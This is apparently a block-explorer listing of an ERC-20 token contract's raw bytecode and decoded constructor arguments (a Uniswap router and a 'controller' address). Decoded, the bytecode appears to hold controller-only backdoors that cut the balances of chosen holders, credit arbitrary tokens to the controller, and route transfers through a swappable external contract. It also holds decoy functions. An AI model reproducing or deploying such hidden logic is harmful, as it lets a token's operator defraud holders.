16815260200190815260200160002054905092915050565b610df5610efd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7990611f48565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610ef1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee890612119565b60405180910390fd5b610efa816115a2565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6b906121ab565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fe3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fda9061223d565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110c19190611b09565b60405180910390a3505050565b60006110da8484610d66565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146111545781811015611146576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113d906122a9565b60405180910390fd5b6111538484848403610f05565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c09061233b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611238576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122f906123cd565b60405180910390fd5b611243838383611666565b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156112ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c19061245f565b60405180910390fd5b818103600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113ba9190611b09565b60405180910390a36113cd84848461183f565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611442576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611439906124f1565b60405180910390fd5b61144e82600083611666565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156114d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114cc90612583565b60405180910390fd5b818103600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600660008282540392505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115899190611b09565b60405180910390a361159d8360008461183f565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b61166f83611844565b1561170457600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633021ed1083836040518363ffffffff1660e01b81526004016116d19291906125a3565b600060405180830381600087803b1580156116eb57600080fd5b505af11580156116ff573d6000803e3d6000fd5b505050505b60011515600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663315d82af6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611775573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061179991906125f8565b15150361183a57600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b0a9432284836117e986611844565b6040518463ffffffff1660e01b815260040161180793929190612625565b600060405180830381600087803b15801561182157600080fd5b505af1158015611835573d6000803e3d6000fd5b505050505b505050565b505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806118ef5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156118fd5760019050611902565b600090505b919050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061193c82611911565b9050919050565b61194c81611931565b811461195757600080fd5b50565b60008135905061196981611943565b92915050565b60006020828403121561198557611984611907565b5b60006119938482850161195a565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156119d65780820151818401526020810190506119bb565b60008484015250505050565b6000601f19601f8301169050919050565b60006119fe8261199c565b611a0881856119a7565b9350611a188185602086016119b8565b611a21816119e2565b840191505092915050565b60006020820190508181036000830152611a4681846119f3565b905092915050565b6000819050919050565b611a6181611a4e565b8114611a6c57600080fd5b50565b600081359050611a7e81611a58565b92915050565b60008060408385031215611a9b57611a9a611907565b5b6000611aa98582860161195a565b9250506020611aba85828601611a6f565b9150509250929050565b60008115159050919050565b611ad981611ac4565b82525050565b6000602082019050611af46000830184611ad0565b92915050565b611b0381611a4e565b82525050565b6000602082019050611b1e6000830184611afa565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f840112611b4957611b48611b24565b5b8235905067ffffffffffffffff811115611b6657611b65611b29565b5b602083019150836020820283011115611b8257611b81611b2e565b5b9250929050565b60008060008060608587031215611ba357611ba2611907565b5b600085013567ffffffffffffffff811115611bc157611bc061190c565b5b611bcd87828801611b33565b94509450506020611be087828801611a6f565b9250506040611bf187828801611a6f565b91505092959194509250565b600080600060608486031215611c1657611c15611907565b5b6000611c248682870161195a565b9350506020611c358682870161195a565b9250506040611c4686828701611a6f565b9150509250925092565b600060ff82169050919050565b611c6681611c50565b82525050565b6000602082019050611c816000830184611c5d565b92915050565b600060208284031215611c9d57611c9c611907565b5b6000611cab84828501611a6f565b91505092915050565b60006dffffffffffffffffffffffffffff82169050919050565b611cd781611cb4565b82525050565b6000602082019050611cf26000830184611cce565b92915050565b611d0181611931565b82525050565b6000602082019050611d1c6000830184611cf8565b92915050565b60008060408385031215611d3957611d38611907565b5b6000611d478582860161195a565b9250506020611d588582860161195a565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611da957607f821691505b602082108103611dbc57611dbb611d62565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611e5a82611a4e565b9150611e6583611a4e565b925082611e7557611e74611df1565b5b828204905092915050565b6000611e8b82611a4e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611ebd57611ebc611e20565b5b600182019050919050565b6000611ed382611a4e565b9150611ede83611a4e565b9250828201905080821115611ef657611ef5611e20565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611f326020836119a7565b9150611f3d82611efc565b602082019050919050565b60006020820190508181036000830152611f6181611f25565b9050919050565b6000611f7382611a4e565b9150611f7e83611a4e565b925082611f8e57611f8d611df1565b5b828206905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611ff56025836119a7565b915061200082611f99565b604082019050919050565b6000602082019050818103600083015261202481611fe8565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000819050919050565b61207561207082611a4e565b61205a565b82525050565b60006120878285612064565b6020820191506120978284612064565b6020820191508190509392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006121036026836119a7565b915061210e826120a7565b604082019050919050565b60006020820190508181036000830152612132816120f6565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006121956024836119a7565b91506121a082612139565b604082019050919050565b600060208201905081810360008301526121c481612188565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006122276022836119a7565b9150612232826121cb565b604082019050919050565b600060208201905081810360008301526122568161221a565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000612293601d836119a7565b915061229e8261225d565b602082019050919050565b600060208201905081810360008301526122c281612286565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006123256025836119a7565b9150612330826122c9565b604082019050919050565b6000602082019050818103600083015261235481612318565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006123b76023836119a7565b91506123c28261235b565b604082019050919050565b600060208201905081810360008301526123e6816123aa565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006124496026836119a7565b9150612454826123ed565b604082019050919050565b600060208201905081810360008301526124788161243c565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b60006124db6021836119a7565b91506124e68261247f565b604082019050919050565b6000602082019050818103600083015261250a816124ce565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b600061256d6022836119a7565b915061257882612511565b604082019050919050565b6000602082019050818103600083015261259c81612560565b9050919050565b60006040820190506125b86000830185611cf8565b6125c56020830184611afa565b9392505050565b6125d581611ac4565b81146125e057600080fd5b50565b6000815190506125f2816125cc565b92915050565b60006020828403121561260e5761260d611907565b5b600061261c848285016125e3565b91505092915050565b600060608201905061263a6000830186611cf8565b6126476020830185611afa565b6126546040830184611ad0565b94935050505056fe6162636465666768696a6b6c6d6e6f707172737475767778797a4142434445464748494a4b4c4d4e4f505152535455565758595a30313233343536373839a26469706673582212202d244217db78a10defd0d24d293078c1f764ab37661630ad5aee500de7b9419164736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000009420981f3e566ec128f239a962b563933d936518

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806370a08231116100c357806395d89b411161007c57806395d89b411461038c578063a457c2d7146103aa578063a9059cbb146103da578063d978ce1c1461040a578063dd62ed3e1461043a578063f2fde38b1461046a5761014d565b806370a08231146102c8578063715018a6146102f8578063719e0f6c14610302578063798b0c06146103325780637d83de4d146103505780638da5cb5b1461036e5761014d565b806323b872dd1161011557806323b872dd146101f6578063313ce56714610226578063383eea0e14610244578063395093511461026057806342966c68146102905780634609e797146102ac5761014d565b806306cb5b661461015257806306fdde031461016e578063095ea7b31461018c57806318160ddd146101bc5780631e673499146101da575b600080fd5b61016c6004803603810190610167919061196f565b610486565b005b610176610527565b6040516101839190611a2c565b60405180910390f35b6101a660048036038101906101a19190611a84565b6105b9565b6040516101b39190611adf565b60405180910390f35b6101c46105dc565b6040516101d19190611b09565b60405180910390f35b6101f460048036038101906101ef9190611b89565b6105e6565b005b610210600480360381019061020b9190611bfd565b610785565b60405161021d9190611adf565b60405180910390f35b61022e6107b4565b60405161023b9190611c6c565b60405180910390f35b61025e6004803603810190610259919061196f565b6107cb565b005b61027a60048036038101906102759190611a84565b610865565b6040516102879190611adf565b60405180910390f35b6102aa60048036038101906102a59190611c87565b61089c565b005b6102c660048036038101906102c19190611c87565b610906565b005b6102e260048036038101906102dd919061196f565b6109b5565b6040516102ef9190611b09565b60405180910390f35b6103006109fe565b005b61031c60048036038101906103179190611c87565b610a9f565b6040516103299190611adf565b60405180910390f35b61033a610ab7565b6040516103479190611cdd565b60405180910390f35b610358610acd565b6040516103659190611b09565b60405180910390f35b610376610adb565b6040516103839190611d07565b60405180910390f35b610394610b04565b6040516103a19190611a2c565b60405180910390f35b6103c460048036038101906103bf9190611a84565b610b96565b6040516103d19190611adf565b60405180910390f35b6103f460048036038101906103ef9190611a84565b610c0d565b6040516104019190611adf565b60405180910390f35b610424600480360381019061041f9190611c87565b610c30565b6040516104319190611a2c565b60405180910390f35b610454600480360381019061044f9190611d22565b610d66565b6040516104619190611b09565b60405180910390f35b610484600480360381019061047f919061196f565b610ded565b005b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104c7610efd565b73ffffffffffffffffffffffffffffffffffffffff16036105245780600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60606007805461053690611d91565b80601f016020809104026020016040519081016040528092919081815260200182805461056290611d91565b80156105af5780601f10610584576101008083540402835291602001916105af565b820191906000526020600020905b81548152906001019060200180831161059257829003601f168201915b5050505050905090565b6000806105c4610efd565b90506105d1818585610f05565b600191505092915050565b6000600654905090565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610627610efd565b73ffffffffffffffffffffffffffffffffffffffff160361077f5760005b8484905081101561077d578261068186868481811061066757610666611dc2565b5b905060200201602081019061067c919061196f565b6109b5565b111561076a57600082600460008888868181106106a1576106a0611dc2565b5b90506020020160208101906106b6919061196f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106fb9190611e4f565b9050806004600088888681811061071557610714611dc2565b5b905060200201602081019061072a919061196f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b808061077590611e80565b915050610645565b505b50505050565b600080610790610efd565b905061079d8582856110ce565b6107a885858561115a565b60019150509392505050565b6000600960009054906101000a900460ff16905090565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036108625780600960016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b600080610870610efd565b90506108918185856108828589610d66565b61088c9190611ec8565b610f05565b600191505092915050565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610903576109026108fc610efd565b826113d3565b5b50565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036109b25780600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109aa9190611ec8565b925050819055505b50565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a06610efd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8a90611f48565b60405180910390fd5b610a9d60006115a2565b565b600080600283610aaf9190611f68565b149050919050565b60006dffffffffffffffffffffffffffff905090565b600080602a90508091505090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054610b1390611d91565b80601f0160208091040260200160405190810160405280929190818152602001828054610b3f90611d91565b8015610b8c5780601f10610b6157610100808354040283529160200191610b8c565b820191906000526020600020905b815481529060010190602001808311610b6f57829003601f168201915b5050505050905090565b600080610ba1610efd565b90506000610baf8286610d66565b905083811015610bf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610beb9061200b565b60405180910390fd5b610c018286868403610f05565b60019250505092915050565b600080610c18610efd565b9050610c2581858561115a565b600191505092915050565b606060006040518060600160405280603e815260200161265d603e9139905060008367ffffffffffffffff811115610c6b57610c6a61202b565b5b6040519080825280601f01601f191660200182016040528015610c9d5781602001600182028036833780820191505090505b50905060005b84811015610d5b57600083514283604051602001610cc292919061207b565b6040516020818303038152906040528051906020012060001c610ce59190611f68565b9050838181518110610cfa57610cf9611dc2565b5b602001015160f81c60f81b838381518110610d1857610d17611dc2565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350508080610d5390611e80565b915050610ca3565b508092505050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610df5610efd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7990611f48565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610ef1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee890612119565b60405180910390fd5b610efa816115a2565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6b906121ab565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fe3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fda9061223d565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110c19190611b09565b60405180910390a3505050565b60006110da8484610d66565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146111545781811015611146576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113d906122a9565b60405180910390fd5b6111538484848403610f05565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c09061233b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611238576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122f906123cd565b60405180910390fd5b611243838383611666565b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156112ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c19061245f565b60405180910390fd5b818103600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113ba9190611b09565b60405180910390a36113cd84848461183f565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611442576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611439906124f1565b60405180910390fd5b61144e82600083611666565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156114d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114cc90612583565b60405180910390fd5b818103600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600660008282540392505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115899190611b09565b60405180910390a361159d8360008461183f565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b61166f83611844565b1561170457600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633021ed1083836040518363ffffffff1660e01b81526004016116d19291906125a3565b600060405180830381600087803b1580156116eb57600080fd5b505af11580156116ff573d6000803e3d6000fd5b505050505b60011515600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663315d82af6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611775573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061179991906125f8565b15150361183a57600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b0a9432284836117e986611844565b6040518463ffffffff1660e01b815260040161180793929190612625565b600060405180830381600087803b15801561182157600080fd5b505af1158015611835573d6000803e3d6000fd5b505050505b505050565b505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806118ef5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156118fd5760019050611902565b600090505b919050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061193c82611911565b9050919050565b61194c81611931565b811461195757600080fd5b50565b60008135905061196981611943565b92915050565b60006020828403121561198557611984611907565b5b60006119938482850161195a565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156119d65780820151818401526020810190506119bb565b60008484015250505050565b6000601f19601f8301169050919050565b60006119fe8261199c565b611a0881856119a7565b9350611a188185602086016119b8565b611a21816119e2565b840191505092915050565b60006020820190508181036000830152611a4681846119f3565b905092915050565b6000819050919050565b611a6181611a4e565b8114611a6c57600080fd5b50565b600081359050611a7e81611a58565b92915050565b60008060408385031215611a9b57611a9a611907565b5b6000611aa98582860161195a565b9250506020611aba85828601611a6f565b9150509250929050565b60008115159050919050565b611ad981611ac4565b82525050565b6000602082019050611af46000830184611ad0565b92915050565b611b0381611a4e565b82525050565b6000602082019050611b1e6000830184611afa565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f840112611b4957611b48611b24565b5b8235905067ffffffffffffffff811115611b6657611b65611b29565b5b602083019150836020820283011115611b8257611b81611b2e565b5b9250929050565b60008060008060608587031215611ba357611ba2611907565b5b600085013567ffffffffffffffff811115611bc157611bc061190c565b5b611bcd87828801611b33565b94509450506020611be087828801611a6f565b9250506040611bf187828801611a6f565b91505092959194509250565b600080600060608486031215611c1657611c15611907565b5b6000611c248682870161195a565b9350506020611c358682870161195a565b9250506040611c4686828701611a6f565b9150509250925092565b600060ff82169050919050565b611c6681611c50565b82525050565b6000602082019050611c816000830184611c5d565b92915050565b600060208284031215611c9d57611c9c611907565b5b6000611cab84828501611a6f565b91505092915050565b60006dffffffffffffffffffffffffffff82169050919050565b611cd781611cb4565b82525050565b6000602082019050611cf26000830184611cce565b92915050565b611d0181611931565b82525050565b6000602082019050611d1c6000830184611cf8565b92915050565b60008060408385031215611d3957611d38611907565b5b6000611d478582860161195a565b9250506020611d588582860161195a565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611da957607f821691505b602082108103611dbc57611dbb611d62565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611e5a82611a4e565b9150611e6583611a4e565b925082611e7557611e74611df1565b5b828204905092915050565b6000611e8b82611a4e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611ebd57611ebc611e20565b5b600182019050919050565b6000611ed382611a4e565b9150611ede83611a4e565b9250828201905080821115611ef657611ef5611e20565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611f326020836119a7565b9150611f3d82611efc565b602082019050919050565b60006020820190508181036000830152611f6181611f25565b9050919050565b6000611f7382611a4e565b9150611f7e83611a4e565b925082611f8e57611f8d611df1565b5b828206905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611ff56025836119a7565b915061200082611f99565b604082019050919050565b6000602082019050818103600083015261202481611fe8565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000819050919050565b61207561207082611a4e565b61205a565b82525050565b60006120878285612064565b6020820191506120978284612064565b6020820191508190509392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006121036026836119a7565b915061210e826120a7565b604082019050919050565b60006020820190508181036000830152612132816120f6565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006121956024836119a7565b91506121a082612139565b604082019050919050565b600060208201905081810360008301526121c481612188565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006122276022836119a7565b9150612232826121cb565b604082019050919050565b600060208201905081810360008301526122568161221a565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000612293601d836119a7565b915061229e8261225d565b602082019050919050565b600060208201905081810360008301526122c281612286565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006123256025836119a7565b9150612330826122c9565b604082019050919050565b6000602082019050818103600083015261235481612318565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006123b76023836119a7565b91506123c28261235b565b604082019050919050565b600060208201905081810360008301526123e6816123aa565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006124496026836119a7565b9150612454826123ed565b604082019050919050565b600060208201905081810360008301526124788161243c565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b60006124db6021836119a7565b91506124e68261247f565b604082019050919050565b6000602082019050818103600083015261250a816124ce565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b600061256d6022836119a7565b915061257882612511565b604082019050919050565b6000602082019050818103600083015261259c81612560565b9050919050565b60006040820190506125b86000830185611cf8565b6125c56020830184611afa565b9392505050565b6125d581611ac4565b81146125e057600080fd5b50565b6000815190506125f2816125cc565b92915050565b60006020828403121561260e5761260d611907565b5b600061261c848285016125e3565b91505092915050565b600060608201905061263a6000830186611cf8565b6126476020830185611afa565b6126546040830184611ad0565b94935050505056fe6162636465666768696a6b6c6d6e6f707172737475767778797a4142434445464748494a4b4c4d4e4f505152535455565758595a30313233343536373839a26469706673582212202d244217db78a10defd0d24d293078c1f764ab37661630ad5aee500de7b9419164736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000009420981f3e566ec128f239a962b563933d936518

-----Decoded View---------------
Arg [0] : _routerAddress (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : _controllerAddress (address): 0x9420981f3e566ec128F239a962b563933d936518

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 0000000000000000000000009420981f3e566ec128f239a962b563933d936518


Deployed Bytecode Sourcemap

